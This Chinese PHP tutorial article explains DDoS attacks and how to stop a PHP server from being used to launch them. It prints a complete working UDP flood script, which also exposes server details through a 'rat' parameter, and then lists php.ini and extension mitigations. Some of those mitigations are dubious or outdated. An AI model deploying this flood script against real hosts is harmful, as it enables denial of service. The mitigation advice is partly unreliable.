首頁  >  文章  >  後端開發  >  php針對ddos攻擊的解決方法

php針對ddos攻擊的解決方法

怪我咯
怪我咯原創
2017-07-13 14:11:482062瀏覽

首先了解ddos:分散式阻斷服務(DDoS:Distributed Denial of Service)攻擊指借助於客戶/伺服器技術,將多個電腦聯合起來作為攻擊平台,對一個或多個目標發動DDoS攻擊,從而倍增拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程式安裝在一個電腦上,在一個設定的時間主控程式將與大量代理程式通訊,代理程式已經被安裝在網路上的許多計算機上。代理程式收到指令時就發動攻擊。利用客戶/伺服器技術,主控程式能在幾秒鐘內啟動數百次代理程式的運作。

從一個比方來深入理解什麼是DDOS。

一群霸凌者試圖讓對面那家有著競爭關係的商店無法正常營業,他們會採取什麼手段呢? (只為舉例,切勿模仿)惡霸們扮作普通客戶一直擁擠在對手的商鋪,賴著不走,真正的購物者卻無法進入;或者總是和營業員有一搭沒一搭的東扯西扯,讓工作人員不能正常服務客戶;也可以為商舖的經營者提供虛假信息,商舖的上上下下忙成一團之後卻發現都是一場空,最終跑了真正的大客戶,損失慘重。此外惡霸們完成這些壞事有時憑單幹難以完成,需要叫很多人一起。嗯,網路安全領域中DoS和DDoS攻擊就遵循著這些想法。

這篇文章主要介紹了php的ddos攻擊解決方法,實例分析了ddos攻擊程序的原理與針對性的解決方法,是非常實用的技巧,需要的朋友可以參考下

先看原始碼,程式碼如下:

<?php 
set_time_limit(999999); 
$host = $_GET[&#39;host&#39;]; 
$port = $_GET[&#39;port&#39;]; 
$exec_time = $_GET[&#39;time&#39;]; 
$Sendlen = 65535; 
$packets = 0; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET[&#39;rat&#39;])<>0){ 
                echo $_GET[&#39;rat&#39;].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[&#39;SERVER_NAME&#39;])."|".php_uname()."|".$_SERVER[&#39;SERVER_SOFTWARE&#39;].$_GET[&#39;rat&#39;]; 
                exit; 
            } 
        echo "Parameters can not be empty!"; 
        exit; 
    } 
 
for($i=0;$i<$Sendlen;$i++){ 
        $out .= "A"; 
    } 
 
$max_time = time()+$exec_time; 
 
while(1){ 
    $packets++; 
    if(time() > $max_time){ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
        if($fp){ 
            fwrite($fp, $out); 
            fclose($fp); 
    } 
} 
 
echo "Send Host:$host:$port<br><br>"; 
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 
?>

關鍵程式碼在於如下:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很簡單,向目標主機發送UDP套件,在加上定義無限死循環,就會形成較大的壓力.

這個壓力是對於執行這個腳本的伺服器來說的,因為它首先對自身的網寬、CPU等資源造成大量佔用,如果想用這個腳本對目標站點形成壓力,需要在多個伺服器上執行該腳本,DDOS嘛,既然是用fsockopen請求外部,那就不讓他請求.

php .ini裡設定,程式碼如下:

allow_url_fopen = Off

如果這樣他還是能發包,程式碼如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重啟APACHE、IIS、NGINX ,這樣就可以防止PHP DDOS發包了.

另外有網友說,讓腳本不允許設置為不超時很簡單:

1. 把set_time_limit函數禁用

2. 啟用PHP的安全模式(safe_mode=on).

停用socket函數可以把socket模組直接全部停用也可以停用fsockopen函數,建議,由於socket常用於發送郵件找回密碼,因此建議開啟直接開啟安全模式,但是這樣的話,腳本每30秒超時一次,估計沒有哪個“黑客”寂寞到每30秒去點一下開始DDOS.

以上是php針對ddos攻擊的解決方法的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn